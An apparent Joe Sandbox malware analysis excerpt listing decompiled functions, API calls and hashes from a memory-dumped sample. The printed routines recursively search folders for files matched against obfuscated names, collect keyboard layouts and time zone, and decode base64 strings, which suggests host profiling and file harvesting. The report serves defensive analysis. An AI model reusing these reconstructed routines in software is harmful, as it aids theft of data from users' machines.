StrCmpCA.SHLWAPI(?,00414010), ref: 0063610C
StrCmpCA.SHLWAPI(?,00414014), ref: 00636122
FindNextFileA.KERNEL32(000000FF,?), ref: 00636361
FindClose.KERNEL32(000000FF), ref: 00636376

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction ID: 616958e2998aefc1c03acb80c75a3c194baafad9640f1da6c1faae78c7bc1ccf
Opcode Fuzzy Hash: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction Fuzzy Hash: 4A8180B6900218BFCF10DFA4CC44EEA73B9AF88741F448698F60A96141E7749B94CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00639BC0, Relevance: 28.6, APIs: 19, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00639BD9
FindFirstFileA.KERNEL32(?,?), ref: 00639BF0
StrCmpCA.SHLWAPI(?,00414010), ref: 00639C16
StrCmpCA.SHLWAPI(?,00414014), ref: 00639C2C
FindNextFileA.KERNEL32(000000FF,?), ref: 00639D70
FindClose.KERNEL32(000000FF), ref: 00639D85

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction ID: 56c8e69332bd1636c1c75463d127d999afa8edc41fde92093628fccb47008baa
Opcode Fuzzy Hash: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction Fuzzy Hash: AD4158B2510218ABCB20DFA0DD48EEA77BCBF4C705F048599B70592150E779EB94CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006314D0, Relevance: 24.1, APIs: 16, Instructions: 134fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006314E9
FindFirstFileA.KERNEL32(?,?), ref: 00631500
StrCmpCA.SHLWAPI(?,00414010), ref: 00631526
StrCmpCA.SHLWAPI(?,00414014), ref: 0063153C
FindNextFileA.KERNEL32(000000FF,?), ref: 0063169B
FindClose.KERNEL32(000000FF), ref: 006316B0

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction ID: d836603bd5faf6f3808ffa712686520e5e45f56824b3a323ff1e7db224f4ff32
Opcode Fuzzy Hash: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction Fuzzy Hash: B05196B2500218ABCB10DFA0DD49EEA77BDBF8C700F048599B60997140EB75EB94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x8780d0
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x878778
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x878100
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x8780e8
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\*, xrefs: 004096ED
%s\%s, xrefs: 00409766

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x879f60
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x879368
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x879f90
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x879368
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x8724f0
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x879368
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006312E0, Relevance: 19.6, APIs: 13, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 006312ED
wsprintfA.USER32 ref: 00631307
FindFirstFileA.KERNEL32(?,?), ref: 0063131E
StrCmpCA.SHLWAPI(?,00414010), ref: 00631344
StrCmpCA.SHLWAPI(?,00414014), ref: 0063135A
FindNextFileA.KERNEL32(000000FF,?), ref: 00631423
FindClose.KERNEL32(000000FF), ref: 00631438

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID:
API String ID: 2809309208-0
Opcode ID: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction ID: 4f5daaee199472a1e8aaad709c2c88b761e19c6e7c040e8931e7b2fcfd77f8cf
Opcode Fuzzy Hash: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction Fuzzy Hash: 6C31B4B290021CABCB10DFA0DD88EEA77BDBF4C705F008699B20992150EB74DB94CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00639D90, Relevance: 18.2, APIs: 12, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00639DA9
FindFirstFileA.KERNEL32(?,?), ref: 00639DC0
StrCmpCA.SHLWAPI(?,00414010), ref: 00639DE6
StrCmpCA.SHLWAPI(?,00414014), ref: 00639DFC
FindNextFileA.KERNEL32(000000FF,?), ref: 00639FE8
FindClose.KERNEL32(000000FF), ref: 00639FFD

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction ID: 6abddf721b4da422e42fb651e36dfbf31c44c92b7639e1ca306d7d8233a97131
Opcode Fuzzy Hash: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction Fuzzy Hash: CA6187B2900108ABCB54EFA4DC85EDB73BDBF48700F048599F60993151EB75EA98CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00639930, Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00639949
FindFirstFileA.KERNEL32(?,?), ref: 00639960
StrCmpCA.SHLWAPI(?,00414010), ref: 00639986
StrCmpCA.SHLWAPI(?,00414014), ref: 0063999C
FindNextFileA.KERNEL32(000000FF,?), ref: 00639B9A
FindClose.KERNEL32(000000FF), ref: 00639BAF

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: be043476ca434727f83ce4a548b8949b89b66df936d6ef03e815af0548d9e9a0
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: AA810FB2500109ABCB14DF98DC84EEB73BDAF8C700F04869DBA0993251E674EA55CFB5

Uniqueness

Uniqueness Score: -1.00%

Function 0063B050, Relevance: 15.1, APIs: 10, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0063B060
RtlAllocateHeap.NTDLL(00000000), ref: 0063B067
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0063B088
LocalAlloc.KERNEL32(00000040,?), ref: 0063B0A0
GetKeyboardLayoutList.USER32(?,00000000), ref: 0063B0B4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0063B109
wsprintfA.USER32 ref: 0063B132
wsprintfA.USER32 ref: 0063B150
memset.NTDLL ref: 0063B176
LocalFree.KERNEL32(00000000), ref: 0063B18B

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID:
API String ID: 1833916909-0
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: 4ac54688df3911c0c9e5e6e7200b73da5398c37d8698c2c9097655c971782afa
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 1A319AB0A8121CEBDB60DB94CC8DBE9B3B4FB44300F1082D9E619A2281CB745ED0CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 006376C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyc,00000000,00000000), ref: 006376EF
LocalAlloc.KERNEL32(00000040,?,?,00637976,?,?), ref: 00637701
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyc,00000000,00000000), ref: 0063772A
LocalFree.KERNEL32(?,?,?,00637976,?,?), ref: 0063773F

Strings

vyc, xrefs: 006376D4, 006376E1, 006376F9, 00637718, 006376E4, 0063771B

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: vyc
API String ID: 4291131564-2239446957
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: 98b721fecc5f6d01553810219c23164ae8aebb5474bed31805738cae520001d5
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 1811A2B4641308AFEB10CF64CC96FAA77B5FB89710F208458F9159B3D0C7B5A951CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
